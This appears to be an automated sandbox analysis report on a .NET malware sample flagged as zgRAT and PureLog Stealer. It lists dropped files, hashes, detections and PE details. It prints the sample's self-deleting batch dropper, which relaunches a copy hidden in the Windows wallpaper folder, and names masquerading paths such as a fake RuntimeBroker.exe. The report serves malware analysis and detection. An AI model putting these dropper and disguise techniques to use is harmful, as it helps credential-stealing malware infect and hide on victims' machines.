SHA1:	8AAC53B38ECBE1F4984326E5C35B17FA402A3F1F
SHA-256:	F4F2F6C0484F6CF692B8B0A8EC6A0D3AD218660A3A7511FBCA79E4D2335BD943
SHA-512:	9A9630731704CFD5ADDEFBE67D4CF4D7EC5902C121860FC1E3B0DE85A2D11926C36EF0479D07388F86BC169231EC18DC8C1EE5725732F371439F2AD32410C997
Malicious:	false
Preview:	1fEqnRXo3VAXlI42nDvt3Jm8jBCh71UqasreQpd61zsEyBxeLj6sS8us2FHmOzqBAU73aZm7jz2DbiJiNhVX4mXb79lKi1rBJqDdD4Ew79IcGrRU5iZqeTGY7f5axbYsH03ueqeSdjZ5d4VQsRO9bBgzkpgi8n8gkaVPxgzPEGM53L5CJpsfMYQGTEJzK6T0l3UCjGcLc95Vyl5ZueYT4cUMJO5tX9FIwWTA02cDMgDMd5RsIuFphA5JjI3ULtyd4wibS5i1BVHXYHsO6Nlm4ZlwbKbr9H2cskSqW0aMLNoM2hubZoY7ILjeLwAHd023dopyyB2GxYbqvY33aASUt4UhByekzStUUutO25nXwRKtu2tw2GqdiiKiTIxAhRQepGVAppBfX4ibulxIEsstlPvwkK4uHm0eBpDngsHNELGo9sysUp5yjh2ZVjafuRYuDDaEhJlVkeoaJGw2VMZbqB4dwnR6SlcwxVl5RuKLDkOE2cQOxhJh26EBJ6R31pC9B1nxf0klCNYGxzlUXDJvb541RkwUdQTYhPCAzdt67ifoh7NTV6gyfRhG7vf5DQHv4Aiiwlf3UMy3ZPTTWd9gue2Qr6CD8y3rauthZpguaneSdorrcLikQlBaHS00ic

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\GqjiKlwarV.exe.log

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	CSV text
Category:	modified
Size (bytes):	1089
Entropy (8bit):	5.357509376572314
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUN+E4KlOU4mM:MxHKQwYHKGSI6oPtHTHhAHKKk+HKlT4x
MD5:	84D615B35EDCC29D404E189F0403DF92
SHA1:	9FA889FD1624FD4D42C8A1E53A6C878D563B2B05
SHA-256:	ED840908AC2487C0156C61BBFCF4332B1824C033F03400FE906BBB44482205F5
SHA-512:	ED5F44D349501CBC583275E7298F7546BCAC71674055767E57CA620A0E3EC48FA23B62A3BB4153B14AB7778740298BAF89E68BBA3663542D9086C0FEDA1599CD
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\Syste

C:\Users\user\AppData\Local\Temp\Oo9wa5O04T.bat

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	5.144462450380065
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DEuHaXceIvKOZG1wkn23fbsjK:HTg9uYDEpcFDfjkK
MD5:	5AF96BB4CCF63A5EEA97B03A9B101107
SHA1:	4B9DD3A98082978253D50E07FFC3FE3ECEAC5D02
SHA-256:	04F50D25C01F2BB004A16E8728366CBB24AECC21513F74D4B5C465B342AD5BAC
SHA-512:	18AE663F568C13AE1F82323778CFF3219DF062D164399E8DAD41CBCBE0B2746DD3E53F5FBA7FE5D7BFF3EE0B363B5C58F88B9C7D4F6CD5EDEA333CAD24ECF9F6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\Oo9wa5O04T.bat"

C:\Users\user\AppData\Local\Temp\Q5SJmJQHCA

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	MGR bitmap, modern format, 8-bit aligned
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.293660689688184
Encrypted:	false
SSDEEP:	3:uGEtTV/TbGTe:u1x/Tbl
MD5:	80D26F477D090413349ACEC329D2D25C
SHA1:	F29235DA0984F9F8970ED38D71871E71725AC1F2
SHA-256:	B809399C7CEB18E8187BDFBCDBB50A170A9FCAA97929959AD09C44E179F092E7
SHA-512:	532F05B6282AA8642DF62E24F8BB3C6D6F5ABBE53AA0EABC4442C0A907EAB289A7AFC75921BCA9A21913C3E13C8CE66C36F6CBCE60DB6FBB9EB37CBF04436A68
Malicious:	false
Preview:	yzkLwKcRx69AZ6bfByX23E6QB

C:\Users\user\Desktop\bfc3b77465cebf

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	ASCII text, with very long lines (873), with no line terminators
Category:	dropped
Size (bytes):	873
Entropy (8bit):	5.906235339112645
Encrypted:	false
SSDEEP:	24:AfDhx4seowJvPaQXB9q0G4QPkKcqS5L5IVJ90E5f+0AL:AL4V3PjXn+IL5IVXA
MD5:	EF3A9C368114C02C3A6EA6CA83EB2FAB
SHA1:	B0A930FEC0DA0335786A6949A605DC052979D81E
SHA-256:	79808F2EDBB43EE7E805F8752B8F882299C60F4F3056078FFDB4208ED44718AA
SHA-512:	0815505A9905BCEFCFC944FF83750CA5B1206A36F3639BF74EA90806024F1991D074682BD5054F9F1D5D8E80B97754DD8DDFFB03B2ED9382FF031B13F0C2AD18
Malicious:	false
Preview:	ECORvfoDwtklD7qgYKGdepiQm7xa69GzCD7bDnwPuEug1SteXDN2KWXYd8oxrOHwnuiA9PcuY1ta5CZTOTC2vNoqpi7F98hf682GtteIldeTm7daiUjXMOAZG2UaRXvZTNd7JTkez3RStVDsFggoYKTs7dA1YD1NrEAZdgQPuEiS6rqvzmVu0HAJ4u9qTsFvCDkoUoOiPQ3UlAvPxOCwsGXkD1fshk6B9wQ3HBaLYxekNqh39t3EqTD5q9kdJfApT1Uzu2Ivy1Y4mwXXTmtyr2VqsVMHb6B2wzQVVsIHkIPz4IS3mNKgvM8bgoGZpAT1zfIxgCBldmNjmfvkCTfNweGj0zyrmsbjyXAYAfWjMjDJ9ZyB3gXVfGFUZj6rNT8uKnuOeWjg65BNb7kbAxxGVGEsSq9aipW2kS8Vojgg60ZjE22b9fqZg2ZEjC6yXJ8QiImI8OxbRQJfqenZxhbD97Wr33wlnrJw1IA5PtcusPIPt4XEZgAzs5Rlw5PFcLxjHWnierKEFqVtyG89grMGqUE60YJUdXRhbiIWQzkrW6uBjhwp6Qiv8r3wSqrFi0krYyRQ8msrHfutkDWSmdXNygiupVDkHeJgWCmvPgqUi1nd6JMOTZdEcW21PhlniHjmVOWhalCFwDp63FyfJzRsBFDAKugs5DvaRAHrwoxsWXRZr58JsFet01lQLWXqEUKtRPp27GteBjVnxoTOvW9zjCkZZ1gaRHnBNiHbQGMmVArRf7cgDI4sUUJPoPcFjTM35UaPg18pKXdjUS3bZ9WJN5r2Y2wBoGCCxyVLhMALKPi60k4WVAqk6DqAmh1oE7AEVbvf6r4N9K88XuCx7apnZcGuIVj9UWHNOelZzYZnG

C:\Users\user\Music\6d22e1040d7195

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	5.280394654123198
Encrypted:	false
SSDEEP:	3:KLPx+uXV9tz6M/X8If69:Kj1F1/J69
MD5:	54F11CC9DF0A2F085D2D5F7021834EA2
SHA1:	C535DB71FC1371ECC168E93876AA9076688DF3A4
SHA-256:	6F81EC95E376344DFEAB4596C9D677B0DA49EADBBDBB60CA53145BF29DD1AA83
SHA-512:	F7AF9F99955DB4AC852812323A013D3ACDE7172BE1029E3AE867AB903560D668D823A4EFD4D85F27146CD2A6F20D365E4D1727D92810BFCAD30143FD69D23F93
Malicious:	false
Preview:	fhIQWrza5JyjiJDd6IlqXHV2UEhMRpCwitTcSK7JZjLW25HFrP0o4ppX

C:\Users\user\Music\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1645568
Entropy (8bit):	7.422607269772843
Encrypted:	false
SSDEEP:	24576:CfD6aorNjmLtxcRpaRmfplskec44cYbHVxSiAt0zpkDcCHBCZ5B67Uh:CK48Kkeb4cGsiuWe1Yj
MD5:	E89C7ECF60BBE2EFC1810303234A09B8
SHA1:	006B2456B3A17D04AF3FB580BC1BC788D5F0226B
SHA-256:	B80802D899F1ED795A429F20C3ED6C7CE7EAD5EEB5B62663EDB2663A5DE4A86C
SHA-512:	3436099C312AA1E37759E1CB501880E77190C0D969367EE86FC1312978D2275434D5B1F06F1F95F0E914532CB4911F5FDDD995FF4417B270235C4EC0AC54AD41
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(og.............................3... ...@....@.. ....................................@..................................3..K....@.. ....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@....reloc.......`......................@..B.................3......H............................O...2.......................................0..........(.... ........8........E.......9...........8%...(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....9....& ....8........0..'....... ........8........E........k...{...5...............8....r...ps....z*8.... ....~....{....:....& ....8....~....(P... .... .... ....s....~....(T....... ....8t......... ....8d...8.... ....~....{....:K...& ....8@...~....9.... ....8,.......~....(X...

C:\Users\user\Music\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1645568
Entropy (8bit):	7.422607269772843
Encrypted:	false
SSDEEP:	24576:CfD6aorNjmLtxcRpaRmfplskec44cYbHVxSiAt0zpkDcCHBCZ5B67Uh:CK48Kkeb4cGsiuWe1Yj
MD5:	E89C7ECF60BBE2EFC1810303234A09B8
SHA1:	006B2456B3A17D04AF3FB580BC1BC788D5F0226B
SHA-256:	B80802D899F1ED795A429F20C3ED6C7CE7EAD5EEB5B62663EDB2663A5DE4A86C
SHA-512:	3436099C312AA1E37759E1CB501880E77190C0D969367EE86FC1312978D2275434D5B1F06F1F95F0E914532CB4911F5FDDD995FF4417B270235C4EC0AC54AD41
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(og.............................3... ...@....@.. ....................................@..................................3..K....@.. ....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@....reloc.......`......................@..B.................3......H............................O...2.......................................0..........(.... ........8........E.......9...........8%...(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....9....& ....8........0..'....... ........8........E........k...{...5...............8....r...ps....z*8.... ....~....{....:....& ....8....~....(P... .... .... ....s....~....(T....... ....8t......... ....8d...8.... ....~....{....:K...& ....8@...~....9.... ....8,.......~....(X...

C:\Users\user\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\9e8d7a4ca61bd9

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	ASCII text, with very long lines (761), with no line terminators
Category:	dropped
Size (bytes):	761
Entropy (8bit):	5.907073387317694
Encrypted:	false
SSDEEP:	12:JTWXUA0xZlM2kAMo1VOdNUQrc+pyuUA/kLyFv5TNGW1rHCD:JTISZa4lk3UQQ+lj/k24WlCD
MD5:	52F8448CE72E7CFB37756B4A08288C36
SHA1:	12DA9A416D7A58A5AB836B3A14F2C7B658D01E31
SHA-256:	206C63F045FBD293FD71A21C24461CF51207CC0E04B05301333BAA0B96424661
SHA-512:	C40294702A99BA9668DB7E8DB23A3AF9CA1DFF67E7D6A12E951DB64A8C69347A116B658CFC033C4F74E09384165D017FD3810DDB1DEBB713C326C1C46BD59C43
Malicious:	false
Preview:	wIilZqjlysvMnm5OKwks2qHdm2WPzXxHVKs8B8K8hJ0WOcnOFezkQ42GBF9hTUvb4o1c47MMmlKt0vOJOHJUiN1bRl768moNXYbklKUISn8otJQP10SMLa2qxaLSAQO967VbTnhDxBC5PMrIUrEHTcC6guxK9BIBZ8rwxz6OTPYJX7bksD8SMGpe5Y5izWEv3BgQf5Uev0yED2jiSNc5DzzSSN1Y4XY6KnQWbLExsdhWSlaCzWPm4IsDLN7SD5kXb24alMHHIoNkSdArwyiiIvBB5NKNNwux3J4ar9amOIeQ5HusNQfOWBPp02fYC33W4ZrJijAxX5TARvGxcb97Qfa14OjzeCkVOIVfalJnQs0asOYFvs5k46FY9zOUALTVV8vJZkW1SWrio9Ip0eDvHAaSC7flWznEZfFtcPqKVDSiOhu9qjegHhNVhdGcEvedsmJI4YMky2aDr2DfMf4xVH71SuM9INFkizzmYlFRW3rPHJnoZkPj0rIlpRzJMNckwzf2DbHkamabZruJGhji8gt1qO6Gw6FJbHcRouk8dpIOQqL7hqCon3mPFnMzeAyehQASOceW7kFTXfkAC8jF3aghfNMAivdc0oqAp3tELqrCyT1jDLwfbtkGudxBPeyLHmctzkVJPe3MtdsLVm7W87AHDkPMFrzr2f5L0Iud0nQ70YXRulqnhbMJmVpOUIDhpLUNhgVM1egVrDRpN8beBLKaTwjfdfIrksRoDJtOQdvC41ciE9BVrjgdB

C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1645568
Entropy (8bit):	7.422607269772843
Encrypted:	false
SSDEEP:	24576:CfD6aorNjmLtxcRpaRmfplskec44cYbHVxSiAt0zpkDcCHBCZ5B67Uh:CK48Kkeb4cGsiuWe1Yj
MD5:	E89C7ECF60BBE2EFC1810303234A09B8
SHA1:	006B2456B3A17D04AF3FB580BC1BC788D5F0226B
SHA-256:	B80802D899F1ED795A429F20C3ED6C7CE7EAD5EEB5B62663EDB2663A5DE4A86C
SHA-512:	3436099C312AA1E37759E1CB501880E77190C0D969367EE86FC1312978D2275434D5B1F06F1F95F0E914532CB4911F5FDDD995FF4417B270235C4EC0AC54AD41
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(og.............................3... ...@....@.. ....................................@..................................3..K....@.. ....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@....reloc.......`......................@..B.................3......H............................O...2.......................................0..........(.... ........8........E.......9...........8%...(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....9....& ....8........0..'....... ........8........E........k...{...5...............8....r...ps....z*8.... ....~....{....:....& ....8....~....(P... .... .... ....s....~....(T....... ....8t......... ....8d...8.... ....~....{....:K...& ....8@...~....9.... ....8,.......~....(X...

C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1645568
Entropy (8bit):	7.422607269772843
Encrypted:	false
SSDEEP:	24576:CfD6aorNjmLtxcRpaRmfplskec44cYbHVxSiAt0zpkDcCHBCZ5B67Uh:CK48Kkeb4cGsiuWe1Yj
MD5:	E89C7ECF60BBE2EFC1810303234A09B8
SHA1:	006B2456B3A17D04AF3FB580BC1BC788D5F0226B
SHA-256:	B80802D899F1ED795A429F20C3ED6C7CE7EAD5EEB5B62663EDB2663A5DE4A86C
SHA-512:	3436099C312AA1E37759E1CB501880E77190C0D969367EE86FC1312978D2275434D5B1F06F1F95F0E914532CB4911F5FDDD995FF4417B270235C4EC0AC54AD41
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(og.............................3... ...@....@.. ....................................@..................................3..K....@.. ....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@....reloc.......`......................@..B.................3......H............................O...2.......................................0..........(.... ........8........E.......9...........8%...(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....9....& ....8........0..'....... ........8........E........k...{...5...............8....r...ps....z*8.... ....~....{....:....& ....8....~....(P... .... .... ....s....~....(T....... ....8t......... ....8d...8.... ....~....{....:K...& ....8@...~....9.... ....8,.......~....(X...

C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Web\Wallpaper\Theme2\bfc3b77465cebf

Download File

Process:	C:\Users\user\Desktop\GqjiKlwarV.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	68
Entropy (8bit):	5.085419231141257
Encrypted:	false
SSDEEP:	3:IMTmAxqOkUFJ9Gw7V5VHSLgZn:IMkdUFzGwZbHdZ
MD5:	536C52EC89D52FAA55B32C8E9448F623
SHA1:	BA0F80A1ADC26124E8CFB7BC927495B55F2E257C
SHA-256:	4479574357AD8217A10041175F874A2FCF52E1481F53D0238ED563D8AC04F71A
SHA-512:	78A39AF66E298974B25ED0122BDD2C725A13F7F3BD7BAA2C6AF77DB82B88ECF53EB1AE228F2885C2800B02F0648D06AA45F2C3B5B474E19959A95203115A12D0
Malicious:	false
Preview:	PMNiaHgbTBbeew9BMymKP7RauZrFGdwaX8GeV7D3Xcb5YO1iztw7AcyR5wyAaaU0OAGg

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.774323173169683
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXhRQuawV8fYKvo1rLjNvj:Vx993DEUGBtV1dLN
MD5:	6502C51A8B3EE69D6043FFCA1C1F31EB
SHA1:	BBD4A16EEDF5FEC34549985161ED28ED4D1F858E
SHA-256:	B86C2D405A14927A69984283F5D82485BCD67EBF47790C433B64B24EE335A189
SHA-512:	0D291134274C55E41112C3E4D0B5DA45CEB57F5B35C85588622399DC7DF5F3DDACD0D8BE71E868024874C054A03161795D52C5AFAC962B44B739C83BAE3A0661
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 01/01/2025 10:19:01..10:19:01, error: 0x80072746.10:19:06, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.422607269772843
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	GqjiKlwarV.exe
File size:	1'645'568 bytes
MD5:	e89c7ecf60bbe2efc1810303234a09b8
SHA1:	006b2456b3a17d04af3fb580bc1bc788d5f0226b
SHA256:	b80802d899f1ed795a429f20c3ed6c7ce7ead5eeb5b62663edb2663a5de4a86c
SHA512:	3436099c312aa1e37759e1cb501880e77190c0d969367ee86fc1312978d2275434d5b1f06f1f95f0e914532cb4911f5fddd995ff4417b270235c4ec0ac54ad41
SSDEEP:	24576:CfD6aorNjmLtxcRpaRmfplskec44cYbHVxSiAt0zpkDcCHBCZ5B67Uh:CK48Kkeb4cGsiuWe1Yj
TLSH:	79759E1A76A24E72C2B4573185A7113D92E1D7623912EF0F361F14E2A80BBF58F721B7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(og.............................3... ...@....@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x5933ce
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x676F28B0 [Fri Dec 27 22:22:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x193380	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x194000	0x320	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x196000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
